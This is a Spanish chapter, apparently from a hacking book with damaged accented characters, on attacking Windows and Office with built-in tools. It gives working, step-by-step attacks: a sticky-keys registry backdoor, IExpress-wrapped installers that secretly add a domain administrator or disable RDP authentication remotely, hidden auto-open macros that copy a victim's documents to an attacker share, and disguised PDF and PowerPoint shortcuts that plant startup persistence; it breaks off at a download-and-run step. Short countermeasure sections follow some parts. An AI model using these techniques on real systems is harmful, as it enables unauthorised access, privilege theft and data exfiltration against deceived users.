Este captulo tiene como fin describir tcnicas de pirateo utilizando al mximo las herramientas integradas en
Windows o en la suite de Office. Le permitirn, como poco, tomar el rol de administrador de su PC. Algunas no
funcionarn siempre, ya que la eficacia depender de las directivas ya configuradas por el servicio informtico para
proteger los sistemas, as como, en ciertos casos, de su capacidad de hacer que una persona ejecute un programa
trampa.

1. Arranque sobre el sistema

Empezaremos por acceder a un puesto de trabajo o un servidor en el cual no disponemos de permisos para
autenticarnos.

Ejemplo

Si ha olvidado la contrasea de su nica cuenta de usuario en su PC personal.

Esta tcnica resulta muy potente, ya que permite tambin cambiar la contrasea en cualquier PC, servidor o
controlador de dominio. Tambin veremos, por lo tanto, cmo cambiar la contrasea del administrador del domino.
Se necesita, sin embargo, el acceso fsico al equipo objetivo, y permite obtener un acceso completo con los
permisos de sistema en las versiones siguientes:

Windows Vista
Windows 7
Windows 8 Pro
Windows Server 2008/2008 R2
Windows Server 2012

Conseguiremos esto modificando el registro offline del objetivo. Para llevarlo a cabo, arrancamos el equipo
insertando un DVD original de Windows de una de las versiones anteriormente citadas (o puede arrancar en red con
PXE si su empresa despliega Windows con WDS - Windows Deployment Service).

El DVD de instalacin de Windows puede copiarse en una llave USB si es necesario. Encontrar las informaciones
pertinentes para ello en Internet.

Elija el idioma de su teclado y haga clic en Siguiente.


En la siguiente ventana, pulse simultneamente [Mays][F10]. Una ventana aparece en pantalla.
Escriba regedit.exe para arrancar el editor del registro.
2. Modificacin del registro offline

El editor del registro nos va a permitir modificar el funcionamiento normal de un ejecutable; lo reemplazaremos por
la ejecucin de la lnea de comandos. Solo un nmero limitado de aplicaciones son ejecutables al abrir una sesin
normal. La asignacin de teclas especiales, el teclado virtual y en general las aplicaciones de gestin de la
ergonoma lo son. En nuestro ejemplo, reemplazaremos el funcionamiento de las teclas especiales del equipo
objetivo por la ejecucin de la lnea de comandos.

La ejecucin normal de las teclas especiales se realiza pulsando repetidamente la tecla [Mays] (5x[Mays]).

Volvamos al editor del registro. Haga clic en HKEY_LOCAL_MACHINE.


Vaya al men Archivo - Cargar subrbol. Es importante descargarlo al final de la modificacin porque de lo
contrario los cambios no se tendrn en cuenta.

El fichero de registro que se ha de cargar se sita en la unidad D, salvo en el caso de un equipo con doble
arranque.

Descripcin de las unidades

C: es el disco de sistema utilizado por el equipo objetivo para arrancar. Est oculto cuando se arranca normalmente
el equipo.

D: es generalmente el disco del sistema operativo objetivo (el disco C en un arranque normal).

E: es un posible disco de datos o un segundo disco de sistema en el caso de un arranque dual.

X: es el disco utilizado por Windows PE para arrancar Windows PE. No sirve de nada cambiar parmetros en l: no
se conservar nada.
El fichero de registro que nos interesa es SOFTWARE.

Recorra el sistema hasta el siguiente fichero:

D:\Windows\System32\config\Software

D al fichero cargado el nombre Soft.


Seleccione en el fichero importado:

Key_Local_Machine\Soft\Microsoft\Windows NT\Current Version\Image


File Execution Options\

Aada una clave de registro debajo llamada Sethc.exe, aada un valor de tipo cadena String con el
nombre Debugger. D seguidamente a esta nueva clave el valor cmd.exe.

Se muestra el resultado en la imagen siguiente.

Una vez realizada esta modificacin, es importante descargar el subrbol Soft correctamente para que los cambios
se tengan en cuenta al reiniciar el sistema.

Para ello:

Seleccione y contraiga todas las claves hasta la raz Soft, que debe estar seleccionada, como en la imagen
siguiente:
En el men Archivo, haga clic en Descargar subrbol.

3. Utilizacin del hack sobre distintos sistemas

Ya puede cerrar el editor del registro y reiniciar el PC con normalidad. Hemos modificado el funcionamiento normal
de las teclas especiales ejecutando la lnea de comandos. Ahora probamos el resultado, una vez el equipo se haya
reiniciado.

Pulse cinco veces seguidas la tecla [Mays].


Ahora es posible arrancar aplicaciones, pero algunas, como el Panel de control, que necesita el escritorio de
Windows, no funcionarn. Vamos, por lo tanto, a ejecutar la consola MMC que nos permitir gestionar los usuarios,
cambiar sus contraseas, aadir un nuevo usuario o agregar un usuario existente al grupo de administradores
locales.

Llegados a este punto, es posible gestionar todo el equipo y sus ficheros sin necesidad de estar autenticados.

Teclee mmc.exe en la consola y despus, en el men Archivo - Agregar o quitar complementos, haga clic
en Usuarios y grupos locales. Haga clic en el botn Agregar y despus en Aceptar.
Este ejemplo muestra la modificacin de una cuenta de usuario en Windows 7:

Es posible hacer lo mismo con las dems versiones anteriormente mencionadas, como en el ejemplo que sigue,
donde se demuestra esta misma tcnica en un sistema Windows Server 2012.
Si aplicamos esta tcnica en el DC (controlador de dominio), veremos que la consola Usuarios y equipos de
Active Directory est presente dentro del MMC. Pero tambin podemos modificar, aadir, eliminar todos los
objetos de Active Directory, DNS (Domain Name System), solicitar un certificado, modificar la configuracin de
todos los servicios, aadir o eliminar un rol, utilizar PowerShell, modificar las polticas de grupo, etc.

A continuacin vemos la consola de gestin de usuarios y equipos de Active Directory.

Vemos en la siguiente imagen la gestin del DNS, de los certificados, de las polticas de grupo, y todo esto sin estar
autenticados en el DC:
4. Contramedidas

Para evitar que un sistema pueda modificarse offline, puede activar Syskey o configurar BitLocker. Para evitar o
reducir el riesgo de modificacin sobre un controlador de dominio en una sucursal, puede instalar RODC (Read Only
Domain Controller) en vez de un controlador de dominio completo.

Trucar una aplicacin con las herramientas integradas en Windows


Como habr constatado con la tcnica anterior, es necesario arrancar con un soporte fsico en el equipo objetivo.
Esto no siempre es posible en el contexto de un PC de una empresa. Vamos a ver, por lo tanto, cmo obtener los
permisos de administrador, de sistema o de administrador de dominio. Se trata de un ataque en dos fases: la fase
tcnica y el desafo humano.
En la parte tcnica, vamos a esconder una lnea de comandos, una clave de registro, un script u otro ejecutable en
un programa legtimo, que no despertar la desconfianza de un tcnico del departamento de informtica.

El desafo humano consiste en hacer que una persona objetivo ejecute un programa modificado. Eventualmente el
objetivo puede disponer de permisos superiores a los nuestros si fuese necesario.

Cogeremos en nuestro ejemplo 7zip y le aadiremos una clave de registro para obtener los permisos de sistema en
el equipo local. Hemos elegido 7zip, pero hubiese podido ser cualquier otro programa, como una actualizacin de
Adobe, un controlador de impresin, un software de grabacin, una aplicacin profesional, un salvapantallas, un
cdec de vdeo, etc.

1. Tomar el rol de sistema en su puesto de trabajo o su servidor

Usaremos la clave de registro obtenida en la seccin anterior para nuestro primer ejemplo. Podremos arrancar
despus la lnea de comandos con los permisos de sistema en un equipo bloqueado.

Empezaremos por crear un fichero de registro. Edite un nuevo fichero con el Bloc de notas llamado modif.reg.
Aada el texto siguiente y guarde las modificaciones.

Windows Registry Editor Version 5.00


[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Image File Execution Options\sethc.exe]
"debugger"="cmd.exe"

Ahora vamos a llevar a cabo la modificacin tcnica, que consiste en instalar una clave de registro pirata para
despus ejecutar nuestro programa legtimo.

Este tipo de modificacin, llamada Wrapper, es usada habitualmente por los piratas para engaar los controladores,
los juegos, las aplicaciones piratas, los generadores de claves de licencia, que los usuarios se descargan con
frecuencia en Internet.

El programa integrado en el sistema de paquetes iexpress.exe nos va a permitir realizar este ataque. La
herramienta se instala en Windows desde la versin 2000.

Cree un acceso directo en el escritorio a iexpress.exe.


En el acceso directo, cambie la carpeta de ejecucin en Iniciar en para indicar una en la que posea permisos de
escritura.
Ejecute Iexpress.exe desde su acceso directo y use los parmetros por defecto.
Elija extraer y ejecutar comandos.

D un nombre al paquete de instalacin.


Deje la configuracin por defecto hasta el paso de aadir ficheros.

Aada el fichero MSI de instalacin de 7zip y el fichero modif.reg que ha creado con anterioridad.
Los ficheros aadidos pueden ser de cualquier tipo, como exe, msi, reg, bat, vbs, ps1, txt, zip, jpg, pdf, etc.
Resulta interesante, para nosotros, aadir ficheros que se puedan ejecutar directamente o mediante la lnea de
comandos.

En nuestro primer ejemplo, hemos aadido un fichero MSI y un fichero REG. Vamos ahora a configurar IExpress
para ejecutar primero el fichero de registro y despus la instalacin de 7zip.

En el primer campo, Install Program, escriba:

regedit.exe /s modif.reg

En el campo Post Install Command, escriba:

msiexec /i 7z920x64.msi

Configuraremos las funciones Install Program y Post Install Command de IExpress de una manera no convencional.
Por defecto, el programa solicita un ejecutable, pero es posible indicar un comando para ejecutar un fichero bat,
un script o cualquier elemento que necesite parmetros.

Es importante dar el programa que va a permitir ejecutar un fichero bat, script o msi, o una clave de registro.

Para un fichero EXE, no es necesario aadir nada:

notepad.exe

Para un fichero REG, debe preceder el nombre del fichero por regedit.exe /s:

Regedit.exe /s FICHERO.REG
El parmetro /s indica un modo silencioso.

Para un fichero MSI, debe preceder el nombre del fichero por msiexec.exe /i:

Msiexec.exe /i FICHERO.MSI

El parmetro /i indica que se va a realizar una instalacin.

Para un fichero BAT, debe preceder el nombre del fichero por cmd.exe /c:

Cmd.exe /c FICHERO.BAT

El parmetro /c de cmd indica que la lnea de comandos se ejecuta y despus se cierra. /k indica que la lnea de
comandos se ejecuta y despus se queda abierta.

Para un fichero VBS, debe preceder el nombre del fichero por wscript:

Wscript.exe FICHERO.VBS

Para un fichero PS1, debe preceder el nombre del fichero por powershell:

Powershell.exe FICHERO.PS1

Siga con los parmetros por defecto y guarde su paquete marcando las dos opciones.
La primera opcin esconde la extraccin de los ficheros y la segunda permite obtener el nombre completo de los
ficheros en el momento de la extraccin. Sin esta ltima opcin, tendra problemas de ejecucin, ya que Windows
no encontrara la ruta de sus ficheros.

Contine con los parmetros por defecto hasta la compilacin.

Ahora, antes de pedir a un administrador o al soporte que ejecute su aplicacin, debe configurar su programa. Debe
asegurarse de que la aplicacin pedir elevar los permisos cuando se ejecute, si no el script no tendr ningn
impacto.

Esta fase es necesaria solamente si deseamos hacer ejecutar una aplicacin pirata a un administrador. El enfoque
Wrapper puede usarse para trasformar la instalacin de un salvapantallas en un programa de control que instale
un usuario que no dispone de permisos de administrador. Veremos en los siguientes captulos que un simple
usuario dispone de suficientes privilegios como para comprometer sus informaciones y su contrasea.

Para ello, haga clic con el botn derecho del ratn en el fichero creado, elija Propiedades y vaya a la
pestaa Compatibilidad. Marque la opcin Ejecutar este programa como administrador.
Ha llegado la hora de probar nuestra aplicacin.

La nica cosa que ver la persona que ejecute nuestro instalador es 7zip, y sin embargo el registro habr sido
modificado.
Podemos jugar ahora con los privilegios de sistema del equipo.

Bloquee su equipo pulsando simultneamente las teclas [Windows] L.

Una vez el ordenador bloqueado, pulse rpidamente la tecla [Mays] cinco veces.
La ventana de comandos se abre y le da acceso a la ejecucin de muchos programas.

2. Tomar el rol de System en un servidor remoto o en un controlador de dominio

Cuando una persona de soporte le instala una aplicacin con una cuenta con permisos de administrador local, lo
habitual es que suela utilizar una cuenta con el mismo usuario y contrasea para todos los PC o incluso todos los
servidores. Es incluso muchas veces administrador del dominio en el momento de instalar su programa. Si este es
el caso, en vez de modificar solamente nuestro equipo, podramos obligar a nuestra vctima a otorgarnos los
privilegios sobre un DC o un servidor cualquiera.

Sin embargo, vamos a enfrentarnos a tres problemas. El primero es que hay que editar el registro remoto para
permitirnos reemplazar el funcionamiento de las teclas remanentes. El segundo es que no estamos seguros de que
el servicio de escritorio remoto est activo en el servidor remoto. El tercero es que, por defecto, un servidor RDP,
desde Windows Vista/Server 2008, no nos autoriza a conectarnos directamente al escritorio, sino que nos obliga a
utilizar una cuenta vlida antes de acceder a este. Vamos a dar solucin a estos tres problemas con un fichero VBS
(Visual Basic Script) que modificar el registro y aplicar una directiva de grupo que obligue al servidor RDP a estar
activo y a conectarse como en versiones anteriores.

Vamos a wrappear 7zip como ya hemos hecho, y esta vez ejecutaremos un fichero VBS.

Abra el Bloc de notas y escriba el cdigo siguiente reemplazando Equipo_objetivo por el nombre del equipo
remoto que desea controlar.

Dim Equipo, objReg, Ruta, Nombreclave, Valor


HKEY_LOCAL_MACHINE = &H80000002
Equipo = "Equipo_objetivo"
Set objReg = GetObject("winmgmts:\\" & Equipo &
"\root\default:StdRegProv")
Ruta = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\sethc.exe"
objReg.CreateKey HKEY_LOCAL_MACHINE, Ruta
NombreClave = "Debugger"
Valor = "cmd.exe"
objReg.SetSTRINGValue HKEY_LOCAL_MACHINE, Ruta, NombreClave, Valor

ruta2 = "SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services"


objReg.CreateKey HKEY_LOCAL_MACHINE, ruta2
NombreClave2 = "UserAuthentication"
Valor2 = 0
objReg.SetDWORDValue HKEY_LOCAL_MACHINE, Ruta2, NombreClave2, Valor2
NombreClave3="SecurityLayer"
Valor3 = 0
objReg.SetDWORDValue HKEY_LOCAL_MACHINE, Ruta2, NombreClave3, Valor3

Ruta4 = "SYSTEM\CurrentControlSet\Control\Terminal Server"


objReg.CreateKey HKEY_LOCAL_MACHINE, Ruta4
NombreClave4 = "fDenyTSConnections"
Valor4 = 0
objReg.SetDWORDValue HKEY_LOCAL_MACHINE, Ruta4, NombreClave4, Valor4

Este fichero se puede descargar en nuestro sitio web.

La primera clave de registro modificada (ruta y valor) es una clave que ya hemos visto en los otros ejemplos.
Reemplaza remotamente el funcionamiento normal de la aplicacin de las teclas especiales.

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution


Options\sethc.exe
Debugger= cmd.exe

La parte del script que utiliza Ruta2, Valor2 y Valor3 activa una directiva de grupo en el equipo remoto,
obligndole a usar una versin sin NLA (Network Layer Authentication) para la autenticacin de las sesiones RDP, lo
que nos permitir llegar directamente al escritorio remoto.

SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services


UserAuthentication = 0
SecurityLayer = 0

La ltima clave modificada, que usa Ruta4 y Valor4, activa el servicio RDP en el equipo remoto.

SYSTEM\CurrentControlSet\Control\Terminal Server
fDenyTSConnections=0

Volvamos a nuestra aplicacin trampa. El desarrollo es muy similar a la creacin anterior, exceptuando la fase de
aadir los ficheros y la fase siguiente.

Cuando aada los ficheros, aada el script VBS, as como el fichero de instalacin de 7zip.

En el paso siguiente, la fase de configuracin de arranque, escriba:

Install : Wscript remote.vbs


Post install: Msiexec /i 7z920x64.msi

Compile su aplicacin y configrela para que se ejecute con permisos elevados modificando sus propiedades (botn
derecho del ratn en la aplicacin y seleccionar la pestaa Compatibilidad).

Haga ejecutar la aplicacin por su administrador o por soporte.

Si el servidor o el equipo remoto ha sido adecuadamente modificado, podr probar ahora la conexin.

Arranque la herramienta MSTSC.exe e indique la direccin IP del objetivo.

El servidor remoto ser reconocido como una versin anterior del servicio RDP. No tendr que indicar un usuario o
una contrasea antes de llegar al escritorio remoto.

Acepte simplemente el mensaje haciendo clic en S.


Resultado: podremos, durante la peticin del nombre de usuario y la contrasea, ejecutar la lnea de comandos
pulsando cinco veces la tecla [Mays].

3. Llegar a ser administrador del dominio

Vamos a reproducir el mismo principio con objeto de engaar a una nueva aplicacin para instalar GIMP y crear una
cuenta de administrador de dominio. Vamos a crear primero un fichero install.bat para aadir un usuario al Active
Directory y hacer que este nuevo usuario pertenezca al grupo de administradores.

Net User permite aadir o eliminar un usuario, cambiar la contrasea y realizar multitud de funciones. Emparejado
con /DOMAIN, los comandos ya no se ejecutan localmente sino que se ejecutan en el controlador de dominio.
Cree un fichero con el nombre Install.bat con el siguiente contenido:

Net user admin P@ssw0rd /add /domain


Net group administradores admin /add /domain

Este script aadir el usuario Admin al dominio, y tambin al grupo de administradores.

Ejecute IExpress y configrelo como en el ejemplo anterior, salvo para el paso de eleccin de ficheros y el paso
siguiente.
Aada los ficheros gimp_setup.exe y su fichero install.bat.

Configure los parmetros de instalacin como en la imagen que sigue:


Una vez la compilacin realizada, configure la pestaa Compatibilidad para que la aplicacin se ejecute con
privilegios elevados.

Para que el script funcione, debe estar seguro de que lo ejecute una persona que disponga de los permisos de
administrador de dominio. Descubrir en los captulos siguientes tcnicas que apuntan a personas que tienen pocos
privilegios y que modifican partes del sistema editables por todos.

4. Contramedidas

Para evitar este tipo de ataques, puede bloquear el uso de la lnea de comandos, de PowerShell, de IExpress.exe y
autorizar a ejecutarse solamente las aplicaciones firmadas en los puestos clientes con la ayuda de polticas de
grupo y restricciones de software. Le aconsejamos tambin poner en marcha un procedimiento de gestin de
prueba y de validacin de las aplicaciones antes del despliegue global de estas. Las cuentas de usuario de los
tcnicos de soporte informtico que realizan la instalacin de programas no deben tener privilegios de
administradores de dominio ni de administradores de servidores. Solo necesitan los permisos de administradores de
los equipos. Es posible llegar a este resultado utilizando cuentas restringidas con la ayuda de las polticas de grupo.
Los usuarios no deben ser administradores de su puesto de trabajo.

Engaar con un documento de Office

1. Ejecutar un script o un programa

Entre las herramientas de la suite de Microsoft Office, encontramos los scripts VBA (Visual Basic for Applications).
Desde la versin de Office 2003, Microsoft ha definido un nivel de seguridad alto para las macros. Esto debera
proteger de este tipo de ataques (ver el captulo Bsqueda de informacin). Sin embargo, numerosas empresas
necesitan usar las macros en Excel y permiten reducir, por lo tanto, la seguridad a lo mnimo.
Desde Office 2007, Microsoft ha introducido un nuevo formato docm para los ficheros que contienen macros. Para
ser discretos durante nuestro ataque, favoreceremos el antiguo formato, que an funciona muy bien y que tiene la
ventaja de hacerlo en todas las versiones de Office, desde la 2000 hasta la 2013.

Vamos a transformar un fichero de Word clsico en una herramienta para aadir con Office 2013, sin ser
detectados, un administrador de dominio. Para ello vamos a arrancar una lnea de comandos al abrir nuestro
fichero.

Un documento de Office que ejecuta una macro sin reservas es ms peligroso que una aplicacin, ya que resulta
ms discreto. Una macro VBA permite gestionar los ficheros, el Registro y el Active Directory, conectarse a la red y
a Internet, etc.

Abra Microsoft Word y haga clic en Archivo - Opciones. En la pestaa Personalizar cinta de opciones, marque
en la columna de la derecha la pestaa Desarrollador. Finalmente haga clic en el botn Aceptar.

Una vez haya vuelto al documento, haga clic en la pestaa Desarrollador y despus en Visual Basic.

Vaya a Project (nombre del documento) y haga clic en ThisDocument.

En la parte del documento donde es posible escribir cdigo, haga clic en las dos listas desplegables con el fin de
obtener Document a la izquierda y Open a la derecha, como en la imagen anterior.

Esta es la parte del cdigo que se va a ejecutar en cuanto se abra el documento de Office. Es posible escribir
scripts muy complejos para que hagan todo lo que deseamos a la vctima, como descargar un programa, copiar
ficheros, cambiar su contrasea, etc.

Nuestro objetivo es lanzar un script que crear un usuario en el dominio y que le conceder los permisos de
administradores del dominio. Vamos, para ello, a ejecutar un comando gracias a la funcin Shell de VBA.
Aada el siguiente cdigo:

La funcin Shell tiene dos parmetros. El primero es la ruta del ejecutable y sus argumentos, cmd /c en nuestro
caso. Aparece la salida de la aplicacin. Para nuestro ejemplo, utilizamos como segundo parmetro VbHide, que
esconde al usuario el programa cuando se ejecuta.

Guarde el fichero. Este est listo para ser abierto por la vctima.

2. Rodear la seguridad de las macros

La seguridad de Office no se reduce solamente a la seguridad de las macros. Desde Office 2010, Microsoft ha
aadido una funcin de seguridad que protege a los usuarios. Los ficheros se abren ahora por defecto en modo de
solo lectura. Se debe explcitamente activar la modificacin. Vamos a coger como ejemplo Office 2013 y
describiremos el comportamiento de esta nueva funcionalidad.

Un usuario abre un fichero en su puesto de trabajo y el fichero se abre en modo de solo lectura nicamente.
Debe activar la modificacin. Adems, las macros deben activarse.
Un usuario abre un fichero de la red y el fichero se abre en modo de solo lectura nicamente. Debe activar la
modificacin. Adems, las macros deben activarse.
Un usuario abre un fichero que ya ha modificado por lo menos una vez en su puesto de trabajo o en red. El
fichero se abre directamente con el permiso de modificacin, pero la macro no se ejecuta.
Un usuario abre un fichero en su puesto de trabajo. Activa la modificacin de este y las macros. El fichero
ser validado. Si reabre el fichero, este tendr activadas tanto la modificacin como las macros.
Un usuario abre un fichero de la red que ya ha modificado por lo menos una vez y ya ha ejecutado las
macros. El fichero se abre directamente con las modificaciones activadas y las macros se ejecutan. Se debe
haber aceptado una primera vez la ejecucin de las macros.
Un usuario abre un fichero en su puesto de trabajo en una zona de confianza. El fichero se abre en modo
modificacin y las macros se ejecutan sin solicitar permiso alguno al usuario.
Un usuario abre un fichero de la red en una zona de confianza, con un sistema donde Office ha sido
configurado para autorizar sitios de red como dignos de confianza. El fichero se abre en modo de modificacin
y las macros se ejecutan sin pedir opinin al usuario.

Para desbaratar la seguridad de las macros, debe hacer que se ejecute el fichero en una zona autorizada o
modificar un fichero ya validado.

En la instalacin de Office, se autorizan varias carpetas en la mquina local. Algunas de estas carpetas se
encuentran en la carpeta del usuario y por lo tanto son modificables para este.
Los administradores configuran en general otras carpetas para dejar plantillas. Si estas plantillas se encuentran en
red, se suelen aadir a la configuracin de las rutas que se consideran como zonas de confianza para Office.
Resultado: es posible aadir ficheros en estos directorios y ejecutar macros por un usuario como si fuesen macros
firmadas, sin proteccin alguna, ni tan siquiera un mensaje de aviso.

Por lo tanto, cmo podemos encontrar las zonas ya autorizadas en su sistema, as como las zonas indicadas por
los administradores de sistemas? Vamos a tratar el ejemplo con Word 2013.

Ejecute Regedit.exe y vaya a la clave siguiente:

HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\
Security\Trusted Locations\Location2

Ver all una de las zonas autorizadas por defecto:

\Office\15.0\ corresponde a la versin Office 2013. Encontrar esta clave tambin para Excel y los dems
productos de la suite.

La ruta %APPDATA%\Microsoft\Word\Startup se encuentra dentro del perfil de usuario. %APPDATA%


corresponde a C:\Users\Username\App-Data\Roaming\

Encontrar tambin la ruta C:\Program Files\Microsoft Office\Templates\, que contiene todas las plantillas por
defecto. Es necesario disponer de privilegios de administrador para poder escribir en esta carpeta. Si es el caso,
podr modificar las plantillas bases aadindoles un script de su propia cosecha.

Las rutas autorizadas por el administrador son las configuradas en las directivas de grupo.

Vaya en el registro hasta la clave que sigue:

HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\15.0\Word\
Security\Trusted locations
Encontrar los directorios definidos como seguros por su administrador.

Podr ver tambin si los sitios de red han sido autorizados como zonas de confianza por su administrador.

La clave allownetworklocations debe tener el valor 1.

Ahora vamos a probar estas rutas con un fichero de Excel modificado para copiar los ficheros del escritorio de la
vctima hacia una carpeta compartida.

Cree un nuevo fichero de Excel en su puesto de trabajo.

Aada la pestaa Programador desde las opciones de Excel como hemos visto anteriormente.

En la pestaa Programador, haga clic en Visual Basic.

Aada el siguiente cdigo reemplazando \\Server\compartido por su propia carpeta compartida.

Private Sub Workbook_Open()


x = Shell("cmd /c xcopy %USERPROFILE%\documents\*.*
\\Server\compartido\%username%\* /y /c /e", vbHide)
End Sub

Guarde el fichero en formato XLS, el formato antiguo de Excel.

Copie el fichero en una carpeta perteneciente a la zona de confianza, a ser posible en una carpeta compartida de la
red.

Ejemplo

C:\Users\username\AppData\Roaming\Microsoft\Templates

Abra su fichero de Excel para probar su script. Excel debe abrirse y el script ha de estar escondido. Su ruta de
destino \\Server\compartido\ contiene ahora un directorio con su nombre y los ficheros y carpetas de Mis
documentos.

En la medida en que una ruta de red es autorizada por las polticas de grupo, podr hacer que una vctima abra
documentos de Office con macros no firmadas. Podr asimismo enviarle hacia un fichero o poner un enlace a la
intranet.

Tambin podr pedir a un usuario que guarde su plantilla en una determinada carpeta local para que Word lo
reconozca adecuadamente. Podr indicarle entonces como destino una de las rutas definidas como zona de
confianza por defecto, como %APPDATA%\Microsoft\Templates. No intuir que esta ruta, ms que otra, es peligrosa
para l basndose en el hecho de que all solo una macro firmada puede ejecutarse.

Hemos aadido en nuestro ejemplo un nuevo fichero. Tiene tambin la posibilidad de modificar un fichero existente.
Una plantilla de carta o un justificante de ausencia son modelos ideales. La macro infectara entonces a todos los
usuarios que utilicen estas plantillas.

Las claves de registro que se encuentran en HKEY_CURRENT_USER\Software\Microsoft\Officey permiten


editar las zonas de confianza de Office son modificables por el usuario. Por lo tanto, es posible comprometer la
seguridad de Office haciendo que la vctima, un simple usuario, ejecute una aplicacin trampa que aada una
nueva zona de confianza y que active las zonas de confianza de la red.

3. Contramedidas

Resulta fundamental limitar la ejecucin de macros permitiendo nicamente las macros firmadas por su empresa.
Todas las dems, ya sean de personas internas o externas, deben ser bloqueadas. Puede realizar esto instalando su
propia autoridad de certificados para firmar sus macros y configurando las polticas de grupo. Debe disponer
tambin de un procedimiento de prueba y de validacin de macros antes de ser firmadas, lo que garantizar que no
son perjudiciales para la empresa. Si autoriza sitios de red como zonas de confianza para Office, aada nicamente
rutas que sean de solo lectura para dejar all las plantillas. De lo contrario, cualquier usuario podr dejar all un
fichero de Office modificado y entonces los dems usuarios podrn abrirlo con solo enviarles un enlace hacia dicho
fichero en un correo electrnico o por mensajera instantnea.

Modificar un correo electrnico para arrancar una aplicacin


La ejecucin de una aplicacin por parte de una vctima no es algo anodino. El captulo Hacer ejecutar sus
aplicaciones trampa le guiar en la manera de manipular a un usuario para que caiga en dicha trampa. Sin
embargo, puede que no se deje pillar por la trampa. Nos queda entonces la posibilidad de usar un truco simple
aunque temible para modificar una clave de registro, ejecutar un programa o un script discretamente, creyendo la
vctima haber abierto un simple fichero sin peligro alguno. Para ello, vamos a aprovechar una debilidad del
explorador, y ms precisamente de la presentacin en pantalla cuando abrimos un fichero ZIP.

Windows es capaz de abrir los ficheros ZIP sin necesidad de otro programa desde la versin XP. En Windows 8, la
apertura de este tipo de extensin se hace por defecto con el explorador aunque se haya instalado otro programa.

1. Enviar un PDF falso desde el exterior

En nuestro ejemplo vamos a modificar el registro de la vctima para que se arranque un programa en cuanto inicie
la sesin y se abra el fichero que la vctima pensaba abrir.

Para ello vamos a encapsular un acceso directo particular en un fichero ZIP.

Empiece por crear un nuevo acceso directo con los parmetros mostrados en el siguiente listado.
Este acceso directo ejecuta un primer comando, y al aadir | ([Alt Gr] 6) ejecuta un segundo comando.

cmd.exe /c start reg add HKCU\Software\Microsoft\Windows\Current


Version\Run /v myAPP /t REG_SZ /d "c:\Ruta\miApplicacion.exe"
/f| explorer "http://servidorweb/directorio/mifichero.pdf"

El fichero de destino puede ser un fichero hospedado en Internet que ha buscado con Google indicando en la
bsqueda filetype: PDF.

D al acceso directo el mismo nombre que el del fichero de destino.


Modifique el icono de su acceso directo para que refleje el de un fichero PDF.
El cambio de icono sirve nicamente de cobertura por si el usuario se tomase el tiempo de extraer el fichero zip
en una carpeta. En este caso, nuestra trampa sera un poco menos visible que sin el icono de un fichero PDF.

Haga clic con el botn derecho del ratn en su acceso directo y seleccione Enviar a - Carpeta comprimida.

Renombre el fichero ZIP a mifichero.zip.

Puede enviar ahora el fichero ZIP por correo o dejarlo como descarga en su intranet.

Al abrir el fichero ZIP, la vctima ver el nombre del fichero y el tipo, pero solo prestar atencin al nombre.
Haciendo clic en el acceso directo as escondido, el registro ser modificado. El fichero mifichero.pdf se abrir con
normalidad en el navegador. El usuario no apercibir grandes diferencias. Tendr su fichero tal y como lo esperaba.
No tendr ningn motivo para desconfiar.

El usuario solo ve una consola CMD que se abre rpidamente para que despus aparezca su PDF.

Acabamos de demostrar la modificacin del registro arrancando una ventana de comandos. Hemos utilizado como
destino un fichero remoto. Este ataque puede realizarse por lo tanto desde fuera de la empresa. Pero el icono
puede no estar en el mismo lugar en el equipo objetivo, y adems la consola se abre, rpidamente, pero se abre.

2. Enviar desde dentro un PowerPoint modificado

Ahora vamos a modificar esta tcnica para hacerla ms discreta, y solamente eficaz desde el interior de la empresa.
Para ello, vamos a crear un script VBS que redirigir al usuario a la presentacin, en el mismo sentido que en el
ejemplo anterior; con la diferencia que el objetivo no ver nada, pero deber poder acceder al fichero VBS.

Cree un documento VBS en los archivos compartidos con el cdigo siguiente:

Apertura del documento PowerPoint


set Prog = CreateObject("wscript.shell")
ruta = "\\servidor\compartido\Presentacion.ppt"
Prog.run "explorer" + ruta

set Shell = CreateObject("Shell.Application")


Shell.ShellExecute "cmd.exe" , "/c reg add
HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v myAPP /t
REG_SZ /d c:\ruta\miAplicacion.exe /f" , "" , "" , 0

En este script hay dos maneras de ejecutar una aplicacin. La primera arranca un programa con todos los
parmetros por defecto. La segunda, ShellAplication, permite definir si el programa necesita privilegios elevados,
permiso de ejecucin y si debe ser visible o no.

Ejemplo

El script ejecuta CMD con privilegios elevados (Runas). Cuidado! Si el UAC est activo, el usuario deber validar la
peticin de ejecucin. La aplicacin es visible (parmetro 1) y arrancar en la carpeta por defecto.

set Shell = CreateObject("Shell.Application")


Shell.ShellExecute "cmd.exe" , "/k dir" , "" , "runas" , 1

Ejemplo

El script arranca CMD con permisos de usuarios, la carpeta de arranque es C:\temp. La aplicacin es invisible
(parmetro 0).

set Shell = CreateObject("Shell.Application")


Shell.ShellExecute "cmd.exe" , "/k dir" , "c:\temp" , "" , 0

Cree un acceso directo apuntando al script VBS.

El acceso directo debe contener : wscript.exe \\servidor\compartido\miscript.vbs

Modifique el icono y el nombre del acceso directo para que se parezca a un documento de PowerPoint. Busque el
icono en el directorio de Office.

C:\Program Files\Microsoft Office\Office15\PPTICO.EXE

Puede ver el resultado una vez realizadas las modificaciones:

Haga clic con el botn derecho del ratn en el acceso directo y seleccione Enviar a - Carpeta comprimida. Despus
renombre el fichero a Presentacion.zip.

El nuevo ataque est preparado para su ejecucin en el objetivo. Puede comprobarlo primero por usted mismo, en
su puesto de trabajo. Aunque solo tenga permisos de usuarios, esta tcnica funciona. No ver ms que la
presentacin abrirse, y sin embargo un script habr modificado el registro, todo ello de manera completamente
oculta.

3. Hacer descargar una aplicacin oculta y ejecutarla

Con el espritu del principio visto en los dos captulos anteriores, vamos a crear un documento falso del tipo XPS.
Pero, esta vez, la finalidad ser que nuestra vctima se descargue una aplicacin sin que se percate, que despus se
ejecutar mientras se le presenta en pantalla un fichero XPS verdadero para que el usuario no sospeche nada. Todo
esto parece complejo de realizar, pero un simple acceso directo bien pensado lo hace posible. Vamos a usar
PowerShell para descargar y ejecutar la aplicacin, as como para presentar el fichero XPS.

PowerShell tiene una funcin de descarga integrada, BitsTransfer. Esta funcin puede usarse importando el
mdulo del mismo nombre.

Import-Module BitsTransfer;

